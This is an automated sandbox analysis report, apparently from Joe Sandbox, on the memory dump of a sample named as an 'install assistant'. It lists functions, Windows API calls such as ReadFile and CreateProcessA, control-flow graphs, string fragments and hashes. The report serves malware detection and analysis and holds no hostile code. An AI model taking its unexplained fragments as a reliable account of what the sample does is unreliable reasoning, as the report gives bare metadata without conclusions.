                                          • Instruction ID: 63dd212170a2402fbb67144f5023bbad69f1f4adc3ce84ff202c4c88f7798d21
                                          • Opcode Fuzzy Hash: 900585d437987030dfee836af3c71942912665f15150b3f5b5c0d127eb1d0cb2
                                          • Instruction Fuzzy Hash: 5C3149B4608311EFD7109F28C544B1ABBF0FB8A754F58895AF888C7360C335C8849B53
                                          Function 6CA1AEC0 Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileA.KERNEL32(?,?), ref: 6CA1AEDC
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: FileFindFirst
                                          • String ID:
                                          • API String ID: 1974802433-0
                                          • Opcode ID: a7166facadc424bf79ff2aeca899be01a8f1c0fe4df1cd1a0d96eba7f01f5334
                                          • Instruction ID: 4bdeabfd11e78ef0016b08ac043059a7ca696505d149750ff706902fee35b304
                                          • Opcode Fuzzy Hash: a7166facadc424bf79ff2aeca899be01a8f1c0fe4df1cd1a0d96eba7f01f5334
                                          • Instruction Fuzzy Hash: 081136B450C350AFD7108B28D54451EBBE5BF86324F188E5AF4A9CBA91D334CC888B22
                                          Function 6C9FAA30 Relevance: 44.5, APIs: 3, Strings: 22, Instructions: 734fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 6C9FABA7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: FileRead
                                          • String ID: $53N!$53N!$H$I_#]$J_#]$J_#]$Y<Uq$Y<Uq$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$\|n/$f@n`$f@n`$jinc$|
                                          • API String ID: 2738559852-1563143607
                                          • Opcode ID: 8a2d5e4f80a635dfb4fabd0a8dde67520b180d969dc2b2c14dcdfb6d78ac1679
                                          • Instruction ID: 49f7f25c8cd38419a1d237fd0b59e598ae61e044a717b43d605b0767cedda430
                                          • Opcode Fuzzy Hash: 8a2d5e4f80a635dfb4fabd0a8dde67520b180d969dc2b2c14dcdfb6d78ac1679
                                          • Instruction Fuzzy Hash: A162577060D3818FC725CF18D490A5ABBF2ABD9315F248D1EE8A9CB750DB35D9868B43
                                          Function 6CA3CAD3 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 6824 6ca3cad3-6ca3cae3 6825 6ca3cae5-6ca3caf8 call 6ca2f9df call 6ca2f9cc 6824->6825 6826 6ca3cafd-6ca3caff 6824->6826 6842 6ca3ce7c 6825->6842 6828 6ca3cb05-6ca3cb0b 6826->6828 6829 6ca3ce64-6ca3ce71 call 6ca2f9df call 6ca2f9cc 6826->6829 6828->6829 6832 6ca3cb11-6ca3cb37 6828->6832 6847 6ca3ce77 call 6ca30120 6829->6847 6832->6829 6835 6ca3cb3d-6ca3cb46 6832->6835 6838 6ca3cb60-6ca3cb62 6835->6838 6839 6ca3cb48-6ca3cb5b call 6ca2f9df call 6ca2f9cc 6835->6839 6840 6ca3ce60-6ca3ce62 6838->6840 6841 6ca3cb68-6ca3cb6b 6838->6841 6839->6847 6846 6ca3ce7f-6ca3ce82 6840->6846 6841->6840 6845 6ca3cb71-6ca3cb75 6841->6845 6842->6846 6845->6839 6849 6ca3cb77-6ca3cb8e 6845->6849 6847->6842 6852 6ca3cb90-6ca3cb93 6849->6852 6853 6ca3cbdf-6ca3cbe5 6849->6853 6855 6ca3cba3-6ca3cba9 6852->6855 6856 6ca3cb95-6ca3cb9e 6852->6856 6857 6ca3cbe7-6ca3cbf1 6853->6857 6858 6ca3cbab-6ca3cbc2 call 6ca2f9df call 6ca2f9cc call 6ca30120 6853->6858 6855->6858 6862 6ca3cbc7-6ca3cbda 6855->6862 6861 6ca3cc63-6ca3cc73 6856->6861 6859 6ca3cbf3-6ca3cbf5 6857->6859 6860 6ca3cbf8-6ca3cc16 call 6ca347f5 call 6ca347bb * 2 6857->6860 6890 6ca3cd97 6858->6890 6859->6860 6895 6ca3cc33-6ca3cc5c call 6ca3ac69 6860->6895 6896 6ca3cc18-6ca3cc2e call 6ca2f9cc call 6ca2f9df 6860->6896 6864 6ca3cc79-6ca3cc85 6861->6864 6865 6ca3cd38-6ca3cd41 call 6ca419e5 6861->6865 6862->6861 6864->6865 6868 6ca3cc8b-6ca3cc8d 6864->6868 6879 6ca3cd43-6ca3cd55 6865->6879 6880 6ca3cdb4 6865->6880 6868->6865 6872 6ca3cc93-6ca3ccb7 6868->6872 6872->6865 6876 6ca3ccb9-6ca3cccf 6872->6876 6876->6865 6881 6ca3ccd1-6ca3ccd3 6876->6881 6879->6880 6885 6ca3cd57-6ca3cd66 GetConsoleMode 6879->6885 6883 6ca3cdb8-6ca3cdd0 ReadFile 6880->6883 6881->6865 6886 6ca3ccd5-6ca3ccfb 6881->6886 6888 6ca3cdd2-6ca3cdd8 6883->6888 6889 6ca3ce2c-6ca3ce37 GetLastError 6883->6889 6885->6880 6891 6ca3cd68-6ca3cd6c 6885->6891 6886->6865 6894 6ca3ccfd-6ca3cd13 6886->6894 6888->6889 6899 6ca3cdda 6888->6899 6897 6ca3ce50-6ca3ce53 6889->6897 6898 6ca3ce39-6ca3ce4b call 6ca2f9cc call 6ca2f9df 6889->6898 6893 6ca3cd9a-6ca3cda4 call 6ca347bb 6890->6893 6891->6883 6892 6ca3cd6e-6ca3cd88 ReadConsoleW 6891->6892 6900 6ca3cd8a GetLastError 6892->6900 6901 6ca3cda9-6ca3cdb2 6892->6901 6893->6846 6894->6865 6905 6ca3cd15-6ca3cd17 6894->6905 6895->6861 6896->6890 6902 6ca3cd90-6ca3cd96 call 6ca2f9f2 6897->6902 6903 6ca3ce59-6ca3ce5b 6897->6903 6898->6890 6909 6ca3cddd-6ca3cdef 6899->6909 6900->6902 6901->6909 6902->6890 6903->6893 6905->6865 6912 6ca3cd19-6ca3cd33 6905->6912 6909->6893 6916 6ca3cdf1-6ca3cdf5 6909->6916 6912->6865 6917 6ca3cdf7-6ca3ce07 call 6ca3cefe 6916->6917 6918 6ca3ce0e-6ca3ce19 6916->6918 6930 6ca3ce0a-6ca3ce0c 6917->6930 6924 6ca3ce25-6ca3ce2a call 6ca3d1b6 6918->6924 6925 6ca3ce1b call 6ca3ce83 6918->6925 6931 6ca3ce20-6ca3ce23 6924->6931 6925->6931 6930->6893 6931->6930
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 8Q
                                          • API String ID: 0-4022487301
                                          • Opcode ID: 0785aa36cc5f21707a40a143f5cfeea8c265efa5ddd8140491e8ff2632bd53cb
                                          • Instruction ID: d6f955c25c022ac59c0b16990a42e0a7b0be1b59d18443a4c1737f9898014faa
                                          • Opcode Fuzzy Hash: 0785aa36cc5f21707a40a143f5cfeea8c265efa5ddd8140491e8ff2632bd53cb
                                          • Instruction Fuzzy Hash: 53C1F771A042799FDF01DF98CC90BADBBB0AF4A31CF285259E418E7781C7759989CB60
                                          Function 6CA4406C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 6933 6ca4406c-6ca4409c call 6ca444ec 6936 6ca440b7-6ca440c3 call 6ca4160c 6933->6936 6937 6ca4409e-6ca440a9 call 6ca2f9df 6933->6937 6943 6ca440c5-6ca440da call 6ca2f9df call 6ca2f9cc 6936->6943 6944 6ca440dc-6ca44125 call 6ca44457 6936->6944 6942 6ca440ab-6ca440b2 call 6ca2f9cc 6937->6942 6951 6ca44391-6ca44395 6942->6951 6943->6942 6953 6ca44127-6ca44130 6944->6953 6954 6ca44192-6ca4419b GetFileType 6944->6954 6955 6ca44167-6ca4418d GetLastError call 6ca2f9f2 6953->6955 6956 6ca44132-6ca44136 6953->6956 6957 6ca441e4-6ca441e7 6954->6957 6958 6ca4419d-6ca441ce GetLastError call 6ca2f9f2 CloseHandle 6954->6958 6955->6942 6956->6955 6960 6ca44138-6ca44165 call 6ca44457 6956->6960 6963 6ca441f0-6ca441f6 6957->6963 6964 6ca441e9-6ca441ee 6957->6964 6958->6942 6972 6ca441d4-6ca441df call 6ca2f9cc 6958->6972 6960->6954 6960->6955 6965 6ca441fa-6ca44248 call 6ca417b0 6963->6965 6966 6ca441f8 6963->6966 6964->6965 6975 6ca44267-6ca4428f call 6ca44710 6965->6975 6976 6ca4424a-6ca44256 call 6ca44666 6965->6976 6966->6965 6972->6942 6983 6ca44294-6ca442d5 6975->6983 6984 6ca44291-6ca44292 6975->6984 6976->6975 6982 6ca44258 6976->6982 6985 6ca4425a-6ca44262 call 6ca3b925 6982->6985 6986 6ca442f6-6ca44304 6983->6986 6987 6ca442d7-6ca442db 6983->6987 6984->6985 6985->6951 6989 6ca4438f 6986->6989 6990 6ca4430a-6ca4430e 6986->6990 6987->6986 6988 6ca442dd-6ca442f1 6987->6988 6988->6986 6989->6951 6990->6989 6992 6ca44310-6ca44343 CloseHandle call 6ca44457 6990->6992 6996 6ca44345-6ca44371 GetLastError call 6ca2f9f2 call 6ca4171f 6992->6996 6997 6ca44377-6ca4438b 6992->6997 6996->6997 6997->6989
                                          APIs
                                            • Part of subcall function 6CA44457: CreateFileW.KERNEL32(00000000,00000000,?,6CA44115,?,?,00000000,?,6CA44115,00000000,0000000C), ref: 6CA44474
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA44180
                                          • __dosmaperr.LIBCMT ref: 6CA44187
                                          • GetFileType.KERNEL32(00000000), ref: 6CA44193
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA4419D
                                          • __dosmaperr.LIBCMT ref: 6CA441A6
                                          • CloseHandle.KERNEL32(00000000), ref: 6CA441C6
                                          • CloseHandle.KERNEL32(6CA3B0D0), ref: 6CA44313
                                          • GetLastError.KERNEL32 ref: 6CA44345
                                          • __dosmaperr.LIBCMT ref: 6CA4434C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                          • String ID: 8Q
                                          • API String ID: 4237864984-4022487301
                                          • Opcode ID: 83cbf628b293fca0f6ee2fb11183097b18dc21c8377c9d5b3a3428b06192b68b
                                          • Instruction ID: ba8a95a052c7e58302d6a13666282cd51641e2d134f5a67e79bac6fdca7bda6d
                                          • Opcode Fuzzy Hash: 83cbf628b293fca0f6ee2fb11183097b18dc21c8377c9d5b3a3428b06192b68b
                                          • Instruction Fuzzy Hash: A6A14732A041589FCF09CF68CC517AE7BB1AB47328F18825DE811EF790C739989ACB51
                                          Function 6C9FC1E0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 183COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7002 6c9fc1e0-6c9fc239 call 6ca26b70 7005 6c9fc260-6c9fc269 7002->7005 7006 6c9fc26b-6c9fc270 7005->7006 7007 6c9fc2b0-6c9fc2b5 7005->7007 7008 6c9fc272-6c9fc277 7006->7008 7009 6c9fc2f0-6c9fc2f5 7006->7009 7010 6c9fc2b7-6c9fc2bc 7007->7010 7011 6c9fc330-6c9fc335 7007->7011 7016 6c9fc27d-6c9fc282 7008->7016 7017 6c9fc372-6c9fc3df WriteFile 7008->7017 7012 6c9fc2fb-6c9fc300 7009->7012 7013 6c9fc431-6c9fc448 WriteFile 7009->7013 7018 6c9fc407-6c9fc41b 7010->7018 7019 6c9fc2c2-6c9fc2c7 7010->7019 7014 6c9fc33b-6c9fc340 7011->7014 7015 6c9fc489-6c9fc4b9 call 6ca2b3a0 7011->7015 7022 6c9fc306-6c9fc30b 7012->7022 7023 6c9fc452-6c9fc47f call 6ca2b920 ReadFile 7012->7023 7013->7023 7025 6c9fc4be-6c9fc4c3 7014->7025 7026 6c9fc346-6c9fc36d 7014->7026 7015->7005 7027 6c9fc3e9-6c9fc3fd WriteFile 7016->7027 7028 6c9fc288-6c9fc28d 7016->7028 7017->7027 7029 6c9fc41f-6c9fc42c 7018->7029 7020 6c9fc2cd-6c9fc2d2 7019->7020 7021 6c9fc23b-6c9fc250 7019->7021 7020->7005 7030 6c9fc2d4-6c9fc2e7 7020->7030 7033 6c9fc253-6c9fc258 7021->7033 7022->7005 7032 6c9fc311-6c9fc32b 7022->7032 7023->7015 7025->7005 7035 6c9fc4c9-6c9fc4d7 7025->7035 7026->7033 7027->7018 7028->7005 7036 6c9fc28f-6c9fc2aa 7028->7036 7029->7005 7030->7033 7032->7029 7033->7005 7036->7033
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: :uW$;uW$;uW$> 4!$> 4!
                                          • API String ID: 0-4100612575
                                          • Opcode ID: 7176f1167ed5ffc3c74d312ec3f7ecb58edc0b384e143995725cdb3302fadec8
                                          • Instruction ID: 1d3341c076ab874a3d9ad4a5c1c2183c4dbe946b2a9c207a717a6e2dfec8e311
                                          • Opcode Fuzzy Hash: 7176f1167ed5ffc3c74d312ec3f7ecb58edc0b384e143995725cdb3302fadec8
                                          • Instruction Fuzzy Hash: 7C7181B0208385AFD720DF55C480B9ABBF4FF8A708F10892EF4A8D7651D775D8499B92
                                          Function 6C9FB730 Relevance: 9.4, APIs: 1, Strings: 4, Instructions: 605COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: K?Jo$K?Jo$`Rlx$7eO
                                          • API String ID: 0-174837320
                                          • Opcode ID: e23276bc07600eab14164da46b960013457a6cc030bf2938e3642a052e56ffc0
                                          • Instruction ID: 5e3e138ff81d57ca93f5b4216ef0f66530cf1c469dee40468826d554f5e0acc0
                                          • Opcode Fuzzy Hash: e23276bc07600eab14164da46b960013457a6cc030bf2938e3642a052e56ffc0
                                          • Instruction Fuzzy Hash: 854257B46093429FD754CF18C090A5ABBF5AFCA724F248E1EE5A587B20D734E846CB53
                                          Function 6C8A4200 Relevance: 9.0, APIs: 3, Strings: 1, Instructions: 2005COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ;T55
                                          • API String ID: 0-2572755013
                                          • Opcode ID: 48d0b46ecdaf516ef1d57015dd492a940f9c87c8f2e27c919219b817f5f03bbe
                                          • Instruction ID: 514b5a9bd9d2432f2ec5f06e96233bd48fd1e1af8b9209611630932f7d51ef2e
                                          • Opcode Fuzzy Hash: 48d0b46ecdaf516ef1d57015dd492a940f9c87c8f2e27c919219b817f5f03bbe
                                          • Instruction Fuzzy Hash: 6903F175645B018FC738CF28C9D0696B7E3AFD53287198E6DC0AA4BB95DB34B44ACB40
                                          Function 6CA24FF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62processCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7579 6ca24ff0-6ca25077 CreateProcessA 7580 6ca250ca-6ca250d3 7579->7580 7581 6ca250f0-6ca2510b 7580->7581 7582 6ca250d5-6ca250da 7580->7582 7581->7580 7583 6ca25080-6ca250c2 WaitForSingleObject CloseHandle * 2 7582->7583 7584 6ca250dc-6ca250e1 7582->7584 7583->7580 7584->7580 7585 6ca250e3-6ca25118 7584->7585
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CreateProcess
                                          • String ID: D
                                          • API String ID: 963392458-2746444292
                                          • Opcode ID: 5b4a441dfd897035f86919ec3cf993e4600d205c6fa694c70f1ff5ea230ced3e
                                          • Instruction ID: 814a27f77116c49e0e9548608264662dde87dc798b6a2173f55be5e32ad53dfb
                                          • Opcode Fuzzy Hash: 5b4a441dfd897035f86919ec3cf993e4600d205c6fa694c70f1ff5ea230ced3e
                                          • Instruction Fuzzy Hash: 063101708093808FD340DF29C19872ABBF0BB9A318F405A1DF8D997254E7B995888F43
                                          Function 6CA3BC5E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177fileCOMMONLIBRARYCODE
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7587 6ca3bc5e-6ca3bc7a 7588 6ca3bc80-6ca3bc82 7587->7588 7589 6ca3be39 7587->7589 7590 6ca3bca4-6ca3bcc5 7588->7590 7591 6ca3bc84-6ca3bc97 call 6ca2f9df call 6ca2f9cc call 6ca30120 7588->7591 7592 6ca3be3b-6ca3be3f 7589->7592 7594 6ca3bcc7-6ca3bcca 7590->7594 7595 6ca3bccc-6ca3bcd2 7590->7595 7609 6ca3bc9c-6ca3bc9f 7591->7609 7594->7595 7597 6ca3bcd4-6ca3bcd9 7594->7597 7595->7591 7595->7597 7599 6ca3bcdb-6ca3bce7 call 6ca3ac69 7597->7599 7600 6ca3bcea-6ca3bcfb call 6ca3be40 7597->7600 7599->7600 7607 6ca3bcfd-6ca3bcff 7600->7607 7608 6ca3bd3c-6ca3bd4e 7600->7608 7610 6ca3bd01-6ca3bd09 7607->7610 7611 6ca3bd26-6ca3bd32 call 6ca3beb1 7607->7611 7612 6ca3bd50-6ca3bd59 7608->7612 7613 6ca3bd95-6ca3bdb7 WriteFile 7608->7613 7609->7592 7614 6ca3bdcb-6ca3bdce 7610->7614 7615 6ca3bd0f-6ca3bd1c call 6ca3c25b 7610->7615 7625 6ca3bd37-6ca3bd3a 7611->7625 7619 6ca3bd85-6ca3bd93 call 6ca3c2c3 7612->7619 7620 6ca3bd5b-6ca3bd5e 7612->7620 7617 6ca3bdc2 7613->7617 7618 6ca3bdb9-6ca3bdbf GetLastError 7613->7618 7627 6ca3bdd1-6ca3bdd6 7614->7627 7634 6ca3bd1f-6ca3bd21 7615->7634 7626 6ca3bdc5-6ca3bdca 7617->7626 7618->7617 7619->7625 7621 6ca3bd60-6ca3bd63 7620->7621 7622 6ca3bd75-6ca3bd83 call 6ca3c487 7620->7622 7621->7627 7630 6ca3bd65-6ca3bd73 call 6ca3c39e 7621->7630 7622->7625 7625->7634 7626->7614 7628 6ca3be34-6ca3be37 7627->7628 7629 6ca3bdd8-6ca3bddd 7627->7629 7628->7592 7635 6ca3be09-6ca3be15 7629->7635 7636 6ca3bddf-6ca3bde4 7629->7636 7630->7625 7634->7626 7642 6ca3be17-6ca3be1a 7635->7642 7643 6ca3be1c-6ca3be2f call 6ca2f9cc call 6ca2f9df 7635->7643 7639 6ca3bde6-6ca3bdf8 call 6ca2f9cc call 6ca2f9df 7636->7639 7640 6ca3bdfd-6ca3be04 call 6ca2f9f2 7636->7640 7639->7609 7640->7609 7642->7589 7642->7643 7643->7609
                                          APIs
                                            • Part of subcall function 6CA3BEB1: GetConsoleCP.KERNEL32(?,6CA3B0D0,?), ref: 6CA3BEF9
                                          • WriteFile.KERNEL32(?,?,6CA446EC,00000000,00000000,?,00000000,00000000,6CA45AB6,00000000,00000000,?,00000000,6CA3B0D0,6CA446EC,00000000), ref: 6CA3BDAF
                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,6CA446EC,6CA3B0D0,00000000,?,?,?,?,00000000,?), ref: 6CA3BDB9
                                          • __dosmaperr.LIBCMT ref: 6CA3BDFE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ConsoleErrorFileLastWrite__dosmaperr
                                          • String ID: 8Q
                                          • API String ID: 251514795-4022487301
                                          • Opcode ID: 970aaf13aebc8c7e2414a57f430bb279862e8cca5b352c580f9096bdf3974899
                                          • Instruction ID: a03ebd512f3494faa1713c46560918c1667bead865e5bc1c18c84af4d8c77ce0
                                          • Opcode Fuzzy Hash: 970aaf13aebc8c7e2414a57f430bb279862e8cca5b352c580f9096bdf3974899
                                          • Instruction Fuzzy Hash: 50516B71A00A39AFDB01CFA8DC50BEEBB7AEF09358F182245E508E7690D73099C4C760
                                          Function 6CA25B90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 142COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7654 6ca25b90-6ca25b9c 7655 6ca25b9e-6ca25ba9 7654->7655 7656 6ca25bdd 7654->7656 7658 6ca25bab-6ca25bbd 7655->7658 7659 6ca25bbf-6ca25bcc call 6c8f01f0 call 6ca30b18 7655->7659 7657 6ca25bdf-6ca25c57 7656->7657 7661 6ca25c83-6ca25c89 7657->7661 7662 6ca25c59-6ca25c81 7657->7662 7658->7659 7667 6ca25bd1-6ca25bdb 7659->7667 7662->7661 7664 6ca25c8a-6ca25d49 call 6c8f2250 call 6c8f2340 call 6ca29379 call 6c8ee010 call 6ca27088 7662->7664 7667->7657
                                          APIs
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6CA25D31
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
